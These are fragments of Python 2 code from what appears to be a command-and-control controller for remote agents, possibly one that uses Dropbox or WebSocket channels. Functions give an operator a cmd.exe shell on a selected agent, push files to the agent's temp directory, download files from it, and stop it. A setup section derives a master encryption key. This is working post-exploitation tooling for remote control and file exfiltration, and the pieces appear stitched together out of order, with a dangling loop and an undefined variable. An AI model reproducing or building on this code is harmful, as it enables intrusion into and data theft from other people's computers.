def do_cli(self, args): """Switches to the CLI command mode to task current agent with some CLI commands (cmd.exe)""" if not self.currentAgentID: print(helpers.color("[!] No agent selected.\nUse the 'list' command to get the list of available agents, then 'use' to select one")) return print helpers.color("[*] Switching to CLI mode") print helpers.color("[*] Use the command 'back' to exit CLI mode") while True: cli = raw_input("[{}-cli]#> ".format(self.currentAgentID)) if cli: if cli == 'back': return else: request = helpers.b64encode('cli')+'|'+helpers.b64encode(cli) # Send message to the main thread for dispatching self.c2mQueue.put({'type': 'request', 'value': request}) # Wait for main thread's answer, block until we get an answer response = self.m2cQueue.get() if response['type'] == 'response': print helpers.b64decode(response['value']) elif response['type'] == 'disconnected': self.prompt = "[no agent]#> " self.currentAgentID = None return
def do_putFile(self, args): """putFile <local file> [destination directory]\nSend a local file to the current agent. If no destination directory is provided, %TEMP% is used""" if not self.currentAgentID: print helpers.color("[!] No agent selected. Use the 'list' command to get the list of available agents, then 'use' to select one") return # Checking args if not args: print helpers.color("[!] Missing arguments. Command format: putFile <local file> [destination path]") return try: arguments = helpers.retrieveQuotedArgs(args,2) except ValueError as e: print helpers.color("[!] Wrong arguments format: {}".format(e)) return localFile = arguments[0] # Path normalization for Windows if len(arguments) > 1: # Add a trailing backslash if missing and replace forward slashes to backslashes destinationPath = arguments[1].replace("/","\\") + "\\" if arguments[1][-1] != "\\" else arguments[1].replace("/","\\") else: destinationPath = "temp" # Check local file actually exists if os.path.isfile(localFile): fileName = os.path.basename(localFile) # Open local file and base64 encode it try: with open(localFile) as fileHandle: fileBytesEncoded = helpers.b64encode(fileHandle.read()) fileHandle.close() request = helpers.b64encode('tfc22a')+'|' \ +fileBytesEncoded+'|' \ +helpers.b64encode(destinationPath)+'|' \ +helpers.b64encode(fileName) # Send message to the main thread for dispatching self.c2mQueue.put({'type': 'request', 'value': request}) # Wait for main thread's answer response = self.m2cQueue.get() if response['type'] == 'response': print helpers.b64decode(response['value']) elif response['type'] == 'disconnected': self.prompt = "[no agent]#> " self.currentAgentID = None return except IOError: print helpers.color("[!] Could not open or read file [{}]".format(localFile)) else: print helpers.color("[!] Unable to find local file [{}] in the default PATH".format(localFile))
def processResult(self, path): # Check if it's the last chunk of data if path[2:4] == '00': self.resultChunk += path[5:] self.resultChunk = self.resultChunk.replace('-','+').replace('_','/') # Set proper base64 padding back computePadding = len(self.resultChunk) % 4 if computePadding == 2: self.resultChunk += '==' elif computePadding == 3: self.resultChunk += '=' print helpers.b64decode(self.resultChunk) # Set the 'ready' event to let the main thread that the agent is ready to process new commands self.readyEvent.set() self.resultChunk = '' else: self.resultChunk += path[5:]
def do_stop(self, args): """Stop the current agent""" if not self.currentAgentID: print helpers.color("[!] No agent selected. Use the 'list' command to get the list of available agents, then 'use' to select one") return choice = raw_input(helpers.color("\n[>] Are you sure you want to stop this agent ? [y/N] ", "red")) if choice.lower() != "" and choice.lower()[0] == "y": request = helpers.b64encode('stop') # Send message to the main thread for dispatching self.c2mQueue.put({'type': 'request', 'value': request}) # Wait for main thread's answer # First response is from the agent terminating response = self.m2cQueue.get() if response['type'] == 'response': print helpers.b64decode(response['value']) else: # Unexpected mainMessage type at this stage print helpers.color("[!] Unexpected message type at this stage: ") print mainMessage # Second message is from the websocketserver on websocket close response = self.m2cQueue.get() if response['type'] != 'disconnected': # Unexpected mainMessage type at this stage print helpers.color("[!] Unexpected message type at this stage: ") print mainMessage self.prompt = "[no agent]#> " self.currentAgentID = None
def do_getFile(self, args): """getFile <agent local file>\nDownload a file from the agent to the local system""" if not self.currentAgentID: print helpers.color("[!] No agent selected. Use the 'list' command to get the list of available agents, then 'use' to select one") return # Checking args if not args: print helpers.color("[!] Missing arguments. Command format: getFile <agent local file>") return try: arguments = helpers.retrieveQuotedArgs(args,1) except ValueError as e: print helpers.color("[!] Wrong arguments format: {}".format(e)) return # Path normalization for Windows fileName = os.path.basename(arguments[0]) # Path normalization for Windows filePath = arguments[0].replace("/","\\") request = helpers.b64encode('tfa2c2')+'|'+helpers.b64encode(filePath) # Send message to the main thread for dispatching self.c2mQueue.put({'type': 'request', 'value': request}) # Wait for main thread's answer response = self.m2cQueue.get() if response['type'] == 'response': # Save file in the incoming folder try: with open(config.INCOMINGFILES+'/'+fileName, 'w+') as fileHandle: fileHandle.write(helpers.b64decode(response['value'])) fileHandle.close() except IOError: print helpers.color("[!] Could not write to file [{}]".format(config.INCOMINGFILES+'/'+fileName)) elif response['type'] == 'disconnected': self.prompt = "[no agent]#> " self.currentAgentID = None
password = getpass.getpass( "[SETUP] Enter the master password used to encrypt all data between the agents and the controler: " ) if password == "": print helpers.color( "[!] You must specify a master password. It is a mandatory settings" ) else: masterKey = password print helpers.color( "[+] Derived master key: [{}]\nYou can save it in the config file to reuse it automatically next time" ) break else: masterKey = helpers.b64decode(masterKey) print helpers.color( "[*][CONFIG] Using master key from pollingThread file") #------------------------------------------------------------------------------ # Check that required directories and path are available, if not create them if not os.path.isdir(cfg.defaultPath['incoming']): os.makedirs(cfg.defaultPath['incoming']) print helpers.color( "[+] Creating [{}] directory for incoming files".format( cfg.defaultPath['incoming'])) #------------------------------------------------------------------------------ # Create a dropbox handler dropboxHandler = dropboxHandler.DropboxHandler(accessToken)